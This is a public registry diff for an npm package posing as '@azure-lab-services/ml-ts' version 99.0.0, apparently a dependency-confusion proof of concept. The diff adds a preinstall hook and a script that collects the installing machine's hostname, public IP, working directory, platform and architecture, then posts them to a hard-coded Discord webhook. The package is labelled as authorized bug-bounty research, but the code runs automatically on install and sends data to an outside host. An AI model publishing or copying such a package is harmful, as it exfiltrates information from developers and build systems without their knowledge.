@azure-lab-services/ml-ts 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/node.js +50 -0
- package/package.json +18 -0
package/node.js
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
import https from 'https';
|
|
2
|
+
import os from 'os';
|
|
3
|
+
|
|
4
|
+
const webhookUrl = 'https://discord.com/api/webhooks/1516798168304586833/OqfteyxjlBFvGTtDLoH6aFpBNC6ddN3qLj84m1_WnIaWzIOH-xz3RRgx8rap2PlqVkoh';
|
|
5
|
+
|
|
6
|
+
// 1. Function to fetch Public IP
|
|
7
|
+
const getPublicIP = () => {
|
|
8
|
+
return new Promise((resolve) => {
|
|
9
|
+
https.get('https://api.ipify.org', (res) => {
|
|
10
|
+
let data = '';
|
|
11
|
+
res.on('data', (chunk) => data += chunk);
|
|
12
|
+
res.on('end', () => resolve(data));
|
|
13
|
+
}).on('error', () => resolve('Unknown'));
|
|
14
|
+
});
|
|
15
|
+
};
|
|
16
|
+
|
|
17
|
+
const sendToDiscord = async () => {
|
|
18
|
+
const publicIP = await getPublicIP();
|
|
19
|
+
const currentDir = process.cwd(); // Yeh poora current directory path dega
|
|
20
|
+
|
|
21
|
+
const payload = JSON.stringify({
|
|
22
|
+
username: "PoC Bot Advanced",
|
|
23
|
+
content: `🚀 **Advanced PoC Hit!**\n\n` +
|
|
24
|
+
`**Host:** \`${os.hostname()}\`\n` +
|
|
25
|
+
`**Public IP:** \`${publicIP}\`\n` +
|
|
26
|
+
`**Path:** \`${currentDir}\`\n` +
|
|
27
|
+
`**Platform:** \`${os.platform()}\`\n` +
|
|
28
|
+
`**Arch:** \`${os.arch()}\`\n` +
|
|
29
|
+
`**Time:** \`${new Date().toISOString()}\``
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
const url = new URL(webhookUrl);
|
|
33
|
+
const options = {
|
|
34
|
+
hostname: url.hostname,
|
|
35
|
+
path: url.pathname + url.search,
|
|
36
|
+
method: 'POST',
|
|
37
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
const req = https.request(options, (res) => {
|
|
41
|
+
console.log(`[+] Discord Status: ${res.statusCode}`);
|
|
42
|
+
process.exit(0);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
req.write(payload);
|
|
46
|
+
req.end();
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
console.log("[*] Collecting system forensics...");
|
|
50
|
+
sendToDiscord();
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@azure-lab-services/ml-ts",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"type": "module",
|
|
5
|
+
"description": "Authorized Security Research PoC - Dependency Confusion Assessment",
|
|
6
|
+
"author": "Alone Beast (Security Researcher)",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node node.js",
|
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [
|
|
12
|
+
"bugbounty",
|
|
13
|
+
"msrc",
|
|
14
|
+
"poc",
|
|
15
|
+
"security-holding"
|
|
16
|
+
],
|
|
17
|
+
"license": "MIT"
|
|
18
|
+
}
|